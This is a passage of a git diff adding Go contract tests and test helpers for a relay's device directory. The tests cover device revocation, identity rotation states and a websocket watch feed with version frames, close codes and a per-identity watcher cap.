cell, directory.Publish{Fence: 1, OldHead: head, Head: next}) + for verb, err := range map[string]error{ + "List": listErr, "Cell": cellErr, "Create": createErr, "Acquire": acquireErr, "Heartbeat": beatErr, + "Publish": publishErr, + "Release": b.Release(ctx, cell, 1), + "Archive": b.Archive(ctx, cell), + "SetVault": b.SetVault(ctx, "", "rid"), + "PutDevice": b.PutDevice(ctx, e.id(devB), directory.Device{V: 1, Name: "back"}), + "Revoke": b.Revoke(ctx, e.id(devA)), + } { + if !errors.Is(err, directory.ErrRevoked) { + t.Errorf("%s by a revoked device: %v, want ErrRevoked", verb, err) + } + } + + l, err := e.as(devA).List(ctx) + must(t, err) + if !l.Devices[e.id(devB)].Revoked || l.Devices[e.id(devA)].Revoked { + t.Fatalf("listing shows devices %+v, want only B revoked", l.Devices) + } + if got := get(t, e); got.Head != head || got.Lease.Device != e.id(devA) { + t.Fatalf("a refused device changed the cell: %+v", got) + } + _, err = e.as(devA).Heartbeat(ctx, cell, directory.Beat{Fence: 1}) + must(t, err) +} + +// revokeRefusesSelfAndUnknown: a device cannot stop itself, and an id nobody +// recorded is not found. +func revokeRefusesSelfAndUnknown(t *testing.T, e env) { + twoDevices(t, e) + wantErr(t, e.as(devA).Revoke(ctx, e.id(devA)), directory.ErrSelfRevoke) + wantErr(t, e.as(devA).Revoke(ctx, "dev_cccccccccccccccccccccccccccccccc"), directory.ErrNotFound) + l, err := e.as(devA).List(ctx) + must(t, err) + if l.Devices[e.id(devA)].Revoked { + t.Fatal("a refused self-revoke still stopped the device") + } +} + +// revokeIsIdempotent: stopping a stopped device is not an error, so a retry +// after a lost answer is safe. +func revokeIsIdempotent(t *testing.T, e env) { + twoDevices(t, e) + must(t, e.as(devA).Revoke(ctx, e.id(devB))) + must(t, e.as(devA).Revoke(ctx, e.id(devB))) +} + +func move(t *testing.T, e env, device string, req directory.RotationReq) (directory.RotationView, error) { + t.Helper() + return e.as(device).Rotate(ctx, req) +} + +// rotationStatus: a live identity has no rotation and says what grace it accepts. +func rotationStatus(t *testing.T, e env) { + v, err := e.as(devA).Rotation(ctx) + must(t, err) + if v.Rotation != nil || v.MinMS <= 0 || v.MinMS > v.DefaultMS || v.DefaultMS > v.MaxMS { + t.Fatalf("view of a live identity = %+v", v) + } +} + +// rotationFreezeRefusesWrites: once frozen, every verb that changes a record is +// refused for every device, and reads are not. +func rotationFreezeRefusesWrites(t *testing.T, e env) { + start(t, e) + twoDevices(t, e) + _, err := move(t, e, devA, directory.RotationReq{Op: directory.OpFreeze}) + must(t, err) + for _, dev := range []string{devA, devB} { + c := e.as(dev) + _, createErr := c.Create(ctx, "01J0000000000000000000000B", directory.CellInit{Head: head}) + _, acquireErr := c.Acquire(ctx, cell, directory.AcquireOpts{}) + _, beatErr := c.Heartbeat(ctx, cell, directory.Beat{Fence: 1}) + _, publishErr := c.Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: head, Head: next}) + for verb, err := range map[string]error{ + "Create": createErr, "Acquire": acquireErr, "Heartbeat": beatErr, "Publish": publishErr, + "Release": c.Release(ctx, cell, 1), + "Archive": c.Archive(ctx, cell), + "SetVault": c.SetVault(ctx, "", "rid"), + "PutDevice": c.PutDevice(ctx, e.id(dev), directory.Device{V: 1, Name: "x"}), + "Revoke": c.Revoke(ctx, e.id(devB)), + } { + if !errors.Is(err, directory.ErrRotated) { + t.Errorf("%s by %s on a frozen identity: %v, want ErrRotated", verb, dev, err) + } + } + if _, err := c.List(ctx); err != nil { + t.Errorf("List on a frozen identity: %v", err) + } + if _, err := c.Cell(ctx, cell); err != nil { + t.Errorf("Cell on a frozen identity: %v", err) + } + } + v, err := e.as(devB).Rotation(ctx) + must(t, err) + if v.Rotation == nil || v.Rotation.State != directory.StateFrozen || v.Rotation.By != e.id(devA) { + t.Fatalf("rotation = %+v, want frozen by A", v.Rotation) + } +} + +// rotationThawRestores: a thaw makes the identity writable as it was, and thawing +// a live one is not an error. +func rotationThawRestores(t *testing.T, e env) { + start(t, e) + _, err := move(t, e, devA, directory.RotationReq{Op: directory.OpFreeze}) + must(t, err) + _, err = move(t, e, devA, directory.RotationReq{Op: directory.OpThaw}) + must(t, err) + _, err = move(t, e, devA, directory.RotationReq{Op: directory.OpThaw}) + must(t, err) + must(t, e.as(devA).Archive(ctx, cell)) +} + +// rotationRetireNeedsFreeze: retiring a live identity is refused. +func rotationRetireNeedsFreeze(t *testing.T, e env) { + _, err := move(t, e, devA, directory.RotationReq{Op: directory.OpRetire}) + wantErr(t, err, directory.ErrRotationStep) +} + +// rotationRetireBounds: a grace outside what the relay says it accepts is +// refused, none at all means the relay's default, and the deadline is the +// directory's time plus the grace. +func rotationRetireBounds(t *testing.T, e env) { + _, err := move(t, e, devA, directory.RotationReq{Op: directory.OpFreeze}) + must(t, err) + limits, err := e.as(devA).Rotation(ctx) + must(t, err) + for _, ms := range []int64{limits.MinMS - 1, limits.MaxMS + 1} { + _, err := move(t, e, devA, directory.RotationReq{Op: directory.OpRetire, GraceMS: ms}) + wantErr(t, err, directory.ErrBadGrace) + } + v, err := move(t, e, devA, directory.RotationReq{Op: directory.OpRetire}) + must(t, err) + if v.Rotation.State != directory.StateRetired || v.Rotation.RetireAt != v.Now+limits.DefaultMS { + t.Fatalf("retired view = %+v at %d, default %d", v.Rotation, v.Now, limits.DefaultMS) + } +} + +// rotationFirstFreezerWins: a second device cannot freeze what another froze, and +// only the device that froze may retire; any device may thaw. +func rotationFirstFreezerWins(t *testing.T, e env) { + twoDevices(t, e) + _, err := move(t, e, devA, directory.RotationReq{Op: directory.OpFreeze}) + must(t, err) + _, err = move(t, e, devB, directory.RotationReq{Op: directory.OpFreeze}) + wantErr(t, err, directory.ErrRotated) + _, err = move(t, e, devB, directory.RotationReq{Op: directory.OpRetire}) + wantErr(t, err, directory.ErrRotated) + _, err = move(t, e, devB, directory.RotationReq{Op: directory.OpThaw}) + must(t, err) +} + +// rotationRetiredIsForever: a retired identity cannot be thawed or frozen by +// another, and retiring again changes nothing. +func rotationRetiredIsForever(t *testing.T, e env) { + twoDevices(t, e) + _, err := move(t, e, devA, directory.RotationReq{Op: directory.OpFreeze}) + must(t, err) + first, err := move(t, e, devA, directory.RotationReq{Op: directory.OpRetire}) + must(t, err) + _, err = move(t, e, devA, directory.RotationReq{Op: directory.OpThaw}) + wantErr(t, err, directory.ErrRotated) + _, err = move(t, e, devB, directory.RotationReq{Op: directory.OpFreeze}) + wantErr(t, err, directory.ErrRotated) + again, err := move(t, e, devA, directory.RotationReq{Op: directory.OpRetire}) + must(t, err) + if *again.Rotation != *first.Rotation { + t.Fatalf("a second retire changed %+v to %+v", first.Rotation, again.Rotation) + } +} + +// revokedCannotRotate: a stopped device cannot ask for anything, rotation included. +func revokedCannotRotate(t *testing.T, e env) { + twoDevices(t, e) + must(t, e.as(devA).Revoke(ctx, e.id(devB))) + _, err := move(t, e, devB, directory.RotationReq{Op: directory.OpFreeze}) + wantErr(t, err, directory.ErrRevoked) + _, err = e.as(devB).Rotation(ctx) + wantErr(t, err, directory.ErrRevoked) +} diff --git a/internal/directory/directorytest/watch.go b/internal/directory/directorytest/watch.go new file mode 100644 index 0000000000..67b38adf9c --- /dev/null +++ b/internal/directory/directorytest/watch.go @@ -0,0 +1,75 @@ +package directorytest + +import ( + "context" + "net/http" + "testing" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// WatchRig is one fresh relay as the watch suite sees it: a Rig whose devices +// all belong to one identity, plus what the suite needs to open sockets, to +// act as a stranger, and to know how many sockets the relay lets one identity +// hold. +type WatchRig struct { + Rig + // Base is the relay's base URL, without a trailing slash. + Base string + // Sign stamps requests as the named device of the rig's one identity. + Sign func(device string) wireauth.Sign + // Stranger stamps requests as a device of a different, fresh identity. + Stranger func() wireauth.Sign + // Cap is the watcher cap the relay was built with; zero means the relay + // keeps the default directory.MaxWatchers. + Cap int +} + +// WatchRigFactory builds a fresh WatchRig for one test. +type WatchRigFactory func(t *testing.T) WatchRig + +// RunWatch runs every directory watch case of the contract (section 21.9) +// against a fresh rig each. Cases run in parallel because several wait on +// real sockets, and every case makes its own identity so none can hear another. +func RunWatch(t *testing.T, factory WatchRigFactory) { + for name, fn := range watchCases { + t.Run(name, func(t *testing.T) { + t.Parallel() + fn(newWatchEnv(t, factory(t))) + }) + } +} + +// DialWatch opens the watch socket the way every client must: a GET of the +// watch route signed over an empty body like any directory request, dialled +// with the signed headers as the handshake. On a refusal before the upgrade +// the error is non-nil and the response holds the status and the body. +func DialWatch(ctx context.Context, base string, sign wireauth.Sign) (*websocket.Conn, *http.Response, error) { + return dialWatchQuery(ctx, base, sign, "") +} + +// DialWatchHolding is DialWatch for a socket that names the leases its caller +// holds (contract 21.11.1). The hold query is part of the signed uri. +func DialWatchHolding(ctx context.Context, base string, sign wireauth.Sign, holds []directory.Hold) (*websocket.Conn, *http.Response, error) { + return dialWatchQuery(ctx, base, sign, directory.HoldQuery(holds)) +} + +// dialWatchQuery dials the watch route with a raw query, so a case can also +// send the holds a well-behaved client never would. +func dialWatchQuery(ctx context.Context, base string, sign wireauth.Sign, query string) (*websocket.Conn, *http.Response, error) { + target := base + directory.WatchPath + if query != "" { + target += "?" + query + } + req, err := http.NewRequestWithContext(ctx, http.MethodGet, target, nil) + if err != nil { + return nil, nil, err + } + sign(req, nil) + return websocket.Dial(ctx, req.URL.String(), &websocket.DialOptions{HTTPHeader: req.Header}) +} + +var unsigned wireauth.Sign = func(*http.Request, []byte) {} diff --git a/internal/directory/directorytest/watchcases.go b/internal/directory/directorytest/watchcases.go new file mode 100644 index 0000000000..8328122cb3 --- /dev/null +++ b/internal/directory/directorytest/watchcases.go @@ -0,0 +1,419 @@ +package directorytest + +import ( + "net/http" + "reflect" + "sync" + "time" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// watchCases are the named rows of section 21.9 of the contract. +var watchCases = map[string]func(watchEnv){ + "FirstFrameIsVersion": firstFrameIsVersion, + "TwoDevicesBothHear": twoDevicesBothHear, + "EveryVisibleChangeBumpsOnce": everyVisibleChangeBumpsOnce, + "SilentHeartbeat": silentHeartbeat, + "BeatWithNewPendingBumps": beatWithNewPendingBumps, + "IdenticalDevicePutIsSilent": identicalDevicePutIsSilent, + "ListCarriesVersion": listCarriesVersion, + "RevokeClosesOnlyThatDevice": revokeClosesOnlyThatDevice, + "RevokedDeviceRefused": revokedDeviceRefused, + "UnsignedRefused": unsignedRefused, + "PlainGetIs426": plainGetIs426, + "FreezeClosesAll4410": freezeClosesAll4410, + "FrozenRefusesUpgrade": frozenRefusesUpgrade, + "IdempotentFreezeIsSilent": idempotentFreezeIsSilent, + "ThawOfLiveIdentityIsSilent": thawOfLiveIdentityIsSilent, + "RealFreezeBumpsThenCloses": realFreezeBumpsThenCloses, + "OnlyVersionsOnTheWire": onlyVersionsOnTheWire, + "PingAnswersPong": pingAnswersPong, + "ClientFramesAreIgnored": clientFramesAreIgnored, + "CapRefusesBeyond": capRefusesBeyond, + "CapIsOneThousand": capIsOneThousand, +} + +// create makes the case's cell as device A, which bumps the version once. +func (w watchEnv) create() { + w.t.Helper() + _, err := w.dirAs(devA).Create(ctx, cell, directory.CellInit{Head: head, Class: "chat", Size: 10, Title: "t"}) + must(w.t, err) +} + +// twoDevices records both devices, which the revoke cases need. +func (w watchEnv) twoDevices() { + w.t.Helper() + twoDevices(w.t, w.env) +} + +func firstFrameIsVersion(w watchEnv) { + before := w.open(devA) + n := before.version() + w.create() + after := w.open(devA) + after.wantVersion(n + 1) + before.wantVersion(n + 1) +} + +func twoDevicesBothHear(w watchEnv) { + a, b := w.open(devA), w.open(devB) + n := a.version() + b.wantVersion(n) + w.create() + a.wantVersion(n + 1) + b.wantVersion(n + 1) +} + +// A change is one step of everyVisibleChangeBumpsOnce. +type change struct { + name string + do func(w watchEnv) error +} + +func (w watchEnv) visibleChanges() []change { + a := func(w watchEnv) directory.Client { return w.dirAs(devA) } + return []change{ + {"create", func(w watchEnv) error { + _, err := a(w).Create(ctx, cell, directory.CellInit{Head: head, Class: "chat", Size: 10, Title: "t"}) + return err + }}, + {"publish", func(w watchEnv) error { + _, err := a(w).Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: head, Head: next, Size: 11, Class: "chat"}) + return err + }}, + {"release", func(w watchEnv) error { return a(w).Release(ctx, cell, 1) }}, + {"acquire", func(w watchEnv) error { + _, err := a(w).Acquire(ctx, cell, directory.AcquireOpts{}) + return err + }}, + {"archive", func(w watchEnv) error { return a(w).Archive(ctx, cell) }}, + {"put device A", func(w watchEnv) error { + return a(w).PutDevice(ctx, w.env.id(devA), directory.Device{V: 1, Name: "one"}) + }}, + {"put device B", func(w watchEnv) error { + return w.dirAs(devB).PutDevice(ctx, w.env.id(devB), directory.Device{V: 1, Name: "two"}) + }}, + {"revoke B", func(w watchEnv) error { return a(w).Revoke(ctx, w.env.id(devB)) }}, + {"set vault", func(w watchEnv) error { return a(w).SetVault(ctx, "", "rid1") }}, + } +} + +func everyVisibleChangeBumpsOnce(w watchEnv) { + s := w.open(devA) + n := s.version() + for _, c := range w.visibleChanges() { + must(w.t, c.do(w)) + n++ + if got := s.version(); got != n { + w.t.Fatalf("after %s the version is %d, want %d", c.name, got, n) + } + } + s.wantSilent() // a change that bumped twice would leave a frame behind +} + +// quietBeat is a heartbeat that renews the lease and nothing a person sees. +func (w watchEnv) quietBeat() { + w.t.Helper() + w.env.clock.Wait(time.Second) + _, err := w.dirAs(devA).Heartbeat(ctx, cell, directory.Beat{Fence: 1}) + must(w.t, err) +} + +// visible is a list with the parts that move on their own removed: the read's +// time and the lease's expiry. +func visible(l directory.Listing) directory.Listing { + l.Now = 0 + cells := map[string]directory.Cell{} + for id, c := range l.Cells { + c.Lease.Expires = 0 + cells[id] = c + } + l.Cells = cells + return l +} + +func silentHeartbeat(w watchEnv) { + w.create() + a, b := w.open(devA), w.open(devB) + n := a.version() + b.wantVersion(n) + listBefore, err := w.dirAs(devA).List(ctx) + must(w.t, err) + + w.quietBeat() + + a.wantSilent() + b.wantSilent() + listAfter, err := w.dirAs(devA).List(ctx) + must(w.t, err) + if !reflect.DeepEqual(visible(listBefore), visible(listAfter)) { + w.t.Fatalf("a quiet heartbeat changed the list:\n%+v\n%+v", listBefore, listAfter) + } + if got := w.listVersion(devA); got != n { + w.t.Fatalf("list version %d after a quiet heartbeat, want %d", got, n) + } +} + +func beatWithNewPendingBumps(w watchEnv) { + w.create() + s := w.open(devA) + n := s.version() + _, err := w.dirAs(devA).Heartbeat(ctx, cell, directory.Beat{Fence: 1, Pending: 2}) + must(w.t, err) + s.wantVersion(n + 1) + s.wantSilent() +} + +func identicalDevicePutIsSilent(w watchEnv) { + put := func() { + must(w.t, w.dirAs(devA).PutDevice(ctx, w.env.id(devA), directory.Device{V: 1, Name: "one"})) + } + s := w.open(devA) + n := s.version() + put() + s.wantVersion(n + 1) + put() + s.wantSilent() +} + +func listCarriesVersion(w watchEnv) { + s := w.open(devA) + s.version() + for range 2 { + w.changeSomething() + n := s.version() + if got := w.listVersion(devA); got != n { + w.t.Fatalf("list carries version %d, last frame said %d", got, n) + } + } +} + +// changeSomething makes one visible change whatever the directory holds: a +// device record that differs from the last one written. +func (w watchEnv) changeSomething() { + w.t.Helper() + *w.changes++ + d := directory.Device{V: 1, Name: time.Duration(*w.changes).String()} + must(w.t, w.dirAs(devA).PutDevice(ctx, w.env.id(devA), d)) +} + +func revokeClosesOnlyThatDevice(w watchEnv) { + w.twoDevices() + a, b := w.open(devA), w.open(devB) + n := a.version() + b.wantVersion(n) + + must(w.t, w.dirAs(devA).Revoke(ctx, w.env.id(devB))) + + a.wantVersion(n + 1) + if heard := b.wantClosed(4401, "revoked"); len(heard) != 1 || heard[0] != n+1 { + w.t.Fatalf("the revoked socket heard %v before its close, want the bump [%d]", heard, n+1) + } + w.create() + a.wantVersion(n + 2) +} + +func revokedDeviceRefused(w watchEnv) { + w.twoDevices() + must(w.t, w.dirAs(devA).Revoke(ctx, w.env.id(devB))) + conn, resp, err := DialWatch(ctx, w.rig.Base, w.rig.Sign(devB)) + wantRefusal(w.t, conn, resp, err, http.StatusUnauthorized, "revoked") +} + +func unsignedRefused(w watchEnv) { + conn, resp, err := DialWatch(ctx, w.rig.Base, unsigned) + wantRefusal(w.t, conn, resp, err, http.StatusUnauthorized, "unauthorized") +} + +func plainGetIs426(w watchEnv) { + req, err := http.NewRequest(http.MethodGet, w.rig.Base+directory.WatchPath, nil) + must(w.t, err) + w.rig.Sign(devA)(req, nil) + resp, err := http.DefaultClient.Do(req) + must(w.t, err) + wantAnswer(w.t, resp, http.StatusUpgradeRequired, "upgrade_required") +} + +func freeze(w watchEnv) { + w.t.Helper() + _, err := w.dirAs(devA).Rotate(ctx, directory.RotationReq{Op: directory.OpFreeze}) + must(w.t, err) +} + +func freezeClosesAll4410(w watchEnv) { + a, b := w.open(devA), w.open(devB) + n := a.version() + b.wantVersion(n) + + freeze(w) + + for name, s := range map[string]*sock{"A": a, "B": b} { + if heard := s.wantClosed(4410, "rotated"); len(heard) != 1 || heard[0] != n+1 { + w.t.Fatalf("socket %s heard %v before its close, want the bump [%d]", name, heard, n+1) + } + } +} + +func rotate(w watchEnv, op directory.RotationOp) { + w.t.Helper() + _, err := w.dirAs(devA).Rotate(ctx, directory.RotationReq{Op: op}) + must(w.t, err) +} + +// A repeated freeze by the device that froze stores the same rotation, which a person +// cannot see as a change (contract 21.4), so it bumps nothing. The first freeze closes +// every socket, so the repeat is heard on a socket opened before it only as that close. +func idempotentFreezeIsSilent(w watchEnv) { + a := w.open(devA) + n := a.version() + freeze(w) + a.wantClosed(4410, "rotated") + freeze(w) + if got := w.listVersion(devA); got != n+1 { + w.t.Fatalf("list version %d after a repeated freeze, want %d", got, n+1) + } +} + +// A thaw of an identity that never rotated leaves it as it was, so it bumps nothing. +func thawOfLiveIdentityIsSilent(w watchEnv) { + s := w.open(devA) + n := s.version() + rotate(w, directory.OpThaw) + s.wantSilent() + if got := w.listVersion(devA); got != n { + w.t.Fatalf("list version %d after a thaw of a live identity, want %d", got, n) + } +} + +// A freeze that changes the record bumps once, and the bump is the last thing a socket hears before its 4410. +func realFreezeBumpsThenCloses(w watchEnv) { + s := w.open(devA) + n := s.version() + freeze(w) + if heard := s.wantClosed(4410, "rotated"); len(heard) != 1 || heard[0] != n+1 { + w.t.Fatalf("the socket heard %v before its close, want the bump [%d]", heard, n+1) + } +} + +func frozenRefusesUpgrade(w watchEnv) { + freeze(w) + conn, resp, err := DialWatch(ctx, w.rig.Base, w.rig.Sign(devA)) + wantRefusal(w.t, conn, resp, err, http.StatusGone, "rotated") +} + +func onlyVersionsOnTheWire(w watchEnv) { + s := w.open(devA) + first := s.version() + keys := map[string]map[string]string{"k1": {w.env.id(devA): "d3JhcHBlZA"}} + _, err := w.dirAs(devA).Create(ctx, cell, directory.CellInit{Head: head, Class: "chat", Size: 10, Title: "c2VjcmV0LXRpdGxl", Keys: keys}) + must(w.t, err) + w.changeSomething() + for s.version() < first+2 { // the create and the device put; version() checks every frame's shape + } + s.wantSilent() +} + +func pingAnswersPong(w watchEnv) { + s := w.open(devA) + n := s.version() + s.send(websocket.MessageText, "ping") + if got := s.text(); got != "pong" { + w.t.Fatalf("answer to ping = %q, want pong", got) + } + s.wantSilent() + w.create() + s.wantVersion(n + 1) +} + +func clientFramesAreIgnored(w watchEnv) { + s := w.open(devA) + n := s.version() + s.send(websocket.MessageText, "hello") + s.send(websocket.MessageText, `{"v":99}`) + s.send(websocket.MessageBinary, "\x00\x01") + s.wantSilent() + w.create() + s.wantVersion(n + 1) +} + +// dialMany opens count sockets as device A and keeps them open; the sockets +// are never read, which is what a stalled client looks like to the relay. +func (w watchEnv) dialMany(count int) []*websocket.Conn { + conns := make([]*websocket.Conn, count) + var wg sync.WaitGroup + sem := make(chan struct{}, 32) + for i := range conns { + wg.Add(1) + sem <- struct{}{} + go func() { + defer func() { <-sem; wg.Done() }() + c, resp, err := DialWatch(ctx, w.rig.Base, w.rig.Sign(devA)) + if err != nil { + w.t.Errorf("socket %d: %v (%s)", i+1, err, describe(resp)) + return + } + conns[i] = c + w.t.Cleanup(func() { c.CloseNow() }) + }() + } + wg.Wait() + return conns +} + +// fillAndRefuse fills an identity's places and checks the next one is refused, +// that a closed socket frees its place, and that another identity is unaffected. +func fillAndRefuse(w watchEnv, limit int) { + conns := w.dialMany(limit) + if w.t.Failed() { + w.t.FailNow() + } + refused := func() { + conn, resp, err := DialWatch(ctx, w.rig.Base, w.rig.Sign(devA)) + wantRefusal(w.t, conn, resp, err, http.StatusTooManyRequests, "too_many_watchers") + } + refused() + + other, resp, err := DialWatch(ctx, w.rig.Base, w.rig.Stranger()) + if err != nil { + w.t.Fatalf("another identity is refused while this one is full: %v (%s)", err, describe(resp)) + } + defer other.CloseNow() + + conns[0].CloseNow() + w.awaitPlace() +} + +// awaitPlace redials until the relay has noticed a closed socket, which a +// relay does when its reader sees the close, a moment after the client's. +func (w watchEnv) awaitPlace() { + w.t.Helper() + deadline := time.Now().Add(frameWait) + for { + c, resp, err := DialWatch(ctx, w.rig.Base, w.rig.Sign(devA)) + if err == nil { + w.t.Cleanup(func() { c.CloseNow() }) + return + } + if time.Now().After(deadline) { + w.t.Fatalf("a closed socket never freed its place: %v (%s)", err, describe(resp)) + } + time.Sleep(50 * time.Millisecond) + } +} + +func capRefusesBeyond(w watchEnv) { + if w.rig.Cap == 0 { + w.t.Skip("the relay keeps the default cap; CapIsOneThousand covers it") + } + fillAndRefuse(w, w.rig.Cap) +} + +func capIsOneThousand(w watchEnv) { + if w.rig.Cap != 0 { + w.t.Skip("the relay was built with a lowered cap; CapRefusesBeyond covers it") + } + fillAndRefuse(w, directory.MaxWatchers) +} diff --git a/internal/directory/directorytest/watchsock.go b/internal/directory/directorytest/watchsock.go new file mode 100644 index 0000000000..9961533c63 --- /dev/null +++ b/internal/directory/directorytest/watchsock.go @@ -0,0 +1,256 @@ +package directorytest + +import ( + "context" + "encoding/json" + "errors" + "io" + "net/http" + "regexp" + "strconv" + "testing" + "time" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// The waits of the watch suite. A frame the relay owes arrives well inside +// frameWait even on a slow live relay; a frame it must not send is given +// quietWindow to show up, which is long enough to catch a bump that is sent +// after the write's answer and short enough to keep a case fast. +const ( + frameWait = 5 * time.Second + quietWindow = 300 * time.Millisecond +) + +var versionFrame = regexp.MustCompile(`^\{"v":[0-9]+\}$`) + +// watchEnv is what one case works with. +type watchEnv struct { + t *testing.T + rig WatchRig + env env + changes *int // how many device records changeSomething has written +} + +func newWatchEnv(t *testing.T, r WatchRig) watchEnv { + return watchEnv{t: t, rig: r, env: envOf(r.Rig), changes: new(int)} +} + +func (w watchEnv) dirAs(device string) directory.Client { return w.rig.Devices(device) } + +// frame is one thing a socket delivered: a message, or the error that ended it. +type frame struct { + kind websocket.MessageType + text string + err error +} + +// sock is an open watch socket with a reader goroutine, so that a case can ask +// "is there a frame" without a cancelled read closing the connection. +type sock struct { + t *testing.T + conn *websocket.Conn + frames chan frame + last uint64 + resp *http.Response // the handshake answer, when the socket was dialled by a case +} + +// open dials the watch route as a device and starts reading it. +func (w watchEnv) open(device string) *sock { + w.t.Helper() + return w.openWith(w.rig.Sign(device)) +} + +func (w watchEnv) openWith(sign func(*http.Request, []byte)) *sock { + w.t.Helper() + dialCtx, cancel := context.WithTimeout(context.Background(), frameWait) + defer cancel() + conn, resp, err := DialWatch(dialCtx, w.rig.Base, sign) + if err != nil { + w.t.Fatalf("watch dial: %v (%s)", err, describe(resp)) + } + return startSock(w.t, conn) +} + +func startSock(t *testing.T, conn *websocket.Conn) *sock { + readCtx, stop := context.WithCancel(context.Background()) + s := &sock{t: t, conn: conn, frames: make(chan frame, 256)} + t.Cleanup(func() { stop(); conn.CloseNow() }) + go s.pump(readCtx) + return s +} + +func (s *sock) pump(ctx context.Context) { + for { + kind, data, err := s.conn.Read(ctx) + s.frames <- frame{kind: kind, text: string(data), err: err} + if err != nil { + return + } + } +} + +// next is the next delivery, failing the case when none comes in time. +func (s *sock) next() frame { + s.t.Helper() + select { + case f := <-s.frames: + return f + case <-time.After(frameWait): + s.t.Fatalf("no frame within %s", frameWait) + return frame{} + } +} + +// text is the next delivery, which must be a text message. +func (s *sock) text() string { + s.t.Helper() + f := s.next() + if f.err != nil { + s.t.Fatalf("socket ended while a frame was due: %v", f.err) + } + if f.kind != websocket.MessageText { + s.t.Fatalf("frame type %v, want text", f.kind) + } + return f.text +} + +// version is the next delivery, which must be a version frame that never goes +// down from the last one this socket saw. +func (s *sock) version() uint64 { + s.t.Helper() + text := s.text() + n, ok := parseVersion(text) + if !ok { + s.t.Fatalf("frame %q does not match %s", text, versionFrame) + } + if n < s.last { + s.t.Fatalf("version went down from %d to %d", s.last, n) + } + s.last = n + return n +} + +func parseVersion(text string) (uint64, bool) { + if !versionFrame.MatchString(text) { + return 0, false + } + var v struct{ V uint64 } + if json.Unmarshal([]byte(text), &v) != nil { + return 0, false + } + return v.V, true +} + +// wantVersion asserts the next delivery is exactly {"v":n}. +func (s *sock) wantVersion(n uint64) { + s.t.Helper() + if got := s.version(); got != n { + s.t.Fatalf("version frame %d, want %d", got, n) + } +} + +// wantSilent asserts nothing arrives, not even a close, for quietWindow. +func (s *sock) wantSilent() { + s.t.Helper() + select { + case f := <-s.frames: + s.t.Fatalf("unexpected delivery %q (err %v) on a socket that should be quiet", f.text, f.err) + case <-time.After(quietWindow): + } +} + +// send writes one client frame. +func (s *sock) send(kind websocket.MessageType, msg string) { + s.t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), frameWait) + defer cancel() + if err := s.conn.Write(ctx, kind, []byte(msg)); err != nil { + s.t.Fatalf("send %q: %v", msg, err) + } +} + +// wantClosed reads to the end of the socket and asserts it closed with code +// and reason. It returns the versions heard before the close, in order. +func (s *sock) wantClosed(code websocket.StatusCode, reason string) []uint64 { + s.t.Helper() + var heard []uint64 + for { + f := s.next() + if f.err == nil { + n, ok := parseVersion(f.text) + if !ok { + s.t.Fatalf("frame %q before the close is not a version", f.text) + } + heard = append(heard, n) + continue + } + s.wantCloseError(f.err, code, reason) + return heard + } +} + +func (s *sock) wantCloseError(err error, code websocket.StatusCode, reason string) { + s.t.Helper() + var ce websocket.CloseError + if !errors.As(err, &ce) || websocket.CloseStatus(err) != code || ce.Reason != reason { + s.t.Fatalf("closed with %v, want code %d reason %q", err, code, reason) + } +} + +// describe names a refused handshake's status for a failure message. +func describe(resp *http.Response) string { + if resp == nil { + return "no response" + } + return resp.Status +} + +// wantRefusal asserts a dial was refused before the upgrade with status and +// the wire body {"err":code}. +func wantRefusal(t *testing.T, conn *websocket.Conn, resp *http.Response, err error, status int, code string) { + t.Helper() + if conn != nil { + conn.CloseNow() + t.Fatalf("dial succeeded, want %d %s", status, code) + } + if err == nil || resp == nil { + t.Fatalf("dial = %v, %v; want a %d answer", resp, err, status) + } + wantAnswer(t, resp, status, code) +} + +// wantAnswer asserts an ordinary HTTP answer's status and error code. +func wantAnswer(t *testing.T, resp *http.Response, status int, code string) { + t.Helper() + defer resp.Body.Close() + raw, _ := io.ReadAll(io.LimitReader(resp.Body, directory.MaxBody)) + var body struct{ Err string } + _ = json.Unmarshal(raw, &body) + if resp.StatusCode != status || body.Err != code { + t.Fatalf("answer %d %q, want %d {\"err\":%q}", resp.StatusCode, raw, status, code) + } +} + +// listVersion reads the list as a device and returns its Codeaf-Dir-Version. +func (w watchEnv) listVersion(device string) uint64 { + w.t.Helper() + req, err := http.NewRequest(http.MethodGet, w.rig.Base+"/v1/dir/list", nil) + if err != nil { + w.t.Fatal(err) + } + w.rig.Sign(device)(req, nil) + resp, err := http.DefaultClient.Do(req) + if err != nil { + w.t.Fatal(err) + } + defer resp.Body.Close() + n, perr := strconv.ParseUint(resp.Header.Get(directory.VersionHeader), 10, 64) + if resp.StatusCode != http.StatusOK || perr != nil { + w.t.Fatalf("list answered %d with %s=%q", resp.StatusCode, directory.VersionHeader, resp.Header.Get(directory.VersionHeader)) + } + return n +} diff --git a/internal/directory/feed.go b/internal/directory/feed.go new file mode 100644 index 0000000000..24ae0955d7 --- /dev/null +++ b/internal/directory/feed.go @@ -0,0 +1,346 @@ +package directory + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "sync" + "sync/atomic" + "time" + + "github.com/Agent-Field/codeaf/internal/dirwatch" +) + +// MaxWatchers is how many watch sockets one identity may hold at once. An +// identity has a handful of devices; a thousand is a runaway client, not a +// person. The hosted relay reads the same number as maxWatchers in limits.js. +const MaxWatchers = 1000 + +// VersionHeader carries the directory version on a list answer. +const VersionHeader = "Codeaf-Dir-Version" + +// ErrTooManyWatchers refuses a watch socket beyond the identity's cap. +var ErrTooManyWatchers = errors.New("directory: too many watchers") + +// errFeedClosed is what a subscriber hears when its directory is closed. +var errFeedClosed = errors.New("directory: closed") + +// errSilent is what a subscriber hears when the relay stopped hearing its pings. +var errSilent = errors.New("directory: silent") + +// Status is what a watcher may learn about an identity: the directory's +// version, which devices are stopped and whether the identity was replaced. It +// is immutable once published, so it is shared without copying or locking. +type Status struct { + Version uint64 + Stopped map[string]bool + Rotation *Rotation +} + +// statusOf derives the Status of a directory at version v from its records. +func statusOf(v uint64, rec IdentityRec, devices map[string]Device) Status { + stopped := map[string]bool{} + for id, d := range devices { + if d.Revoked { + stopped[id] = true + } + } + return Status{Version: v, Stopped: stopped, Rotation: rec.Rotation} +} + +// Watchable is a Directory that can tell devices it changed. A relay whose +// directory is not Watchable has no watch route and answers 404. +type Watchable 